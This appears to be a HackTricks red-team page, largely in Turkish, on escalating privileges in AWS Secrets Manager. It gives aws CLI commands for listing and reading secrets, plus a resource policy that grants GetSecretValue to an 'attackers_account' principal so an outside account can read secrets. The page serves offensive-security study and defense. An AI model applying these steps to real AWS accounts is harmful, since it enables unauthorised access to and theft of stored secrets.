AWS - Secrets Manager Privesc

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Secrets Manager

Daha fazla bilgi için secrets manager hakkında kontrol edin:

pageAWS - Secrets Manager Enum

secretsmanager:GetSecretValue

Bu izne sahip bir saldırgan, AWS Secrets Manager'da bir gizli içindeki kaydedilmiş değeri alabilir.

aws secretsmanager get-secret-value --secret-id <secret_name> # Get value

Potansiyel Etki: AWS secrets manager servisi içindeki yüksek hassasiyetli verilere erişim sağlanabilir.

secretsmanager:GetResourcePolicy, secretsmanager:PutResourcePolicy, (secretsmanager:ListSecrets)

Önceki izinlerle, diğer prensiplere/hesaplara (dışarıdan bile) erişim izni vermek mümkündür. Unutmayın ki, bir KMS anahtarıyla şifrelenmiş sırları okumak için, kullanıcının aynı zamanda KMS anahtarına erişimi olması gerekmektedir (daha fazla bilgi için KMS Enum sayfasına bakın).

aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id <secret_name>
aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json

policy.json:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "AllowListSecrets",
            "Effect": "Allow",
            "Action": [
                "secretsmanager:ListSecrets"
            ],
            "Resource": "*"
        },
        {
            "Sid": "AllowGetSecretValue",
            "Effect": "Allow",
            "Action": [
                "secretsmanager:GetSecretValue"
            ],
            "Resource": "arn:aws:secretsmanager:us-west-2:123456789012:secret:MySecret"
        }
    ]
}

This policy.json file contains an AWS IAM policy that grants two permissions related to AWS Secrets Manager. The first permission allows the user to list all secrets in the account by using the secretsmanager:ListSecrets action. The second permission allows the user to retrieve the value of a specific secret named "MySecret" by using the secretsmanager:GetSecretValue action. The Resource field specifies the ARN (Amazon Resource Name) of the secret, which is in the format arn:aws:secretsmanager:<region>:<account-id>:secret:<secret-name>. In this example, the secret is located in the us-west-2 region and belongs to the AWS account with the ID 123456789012.

{
"Version" : "2012-10-17",
"Statement" : [ {
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : "secretsmanager:GetSecretValue",
"Resource" : "*"
} ]
}
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Last updated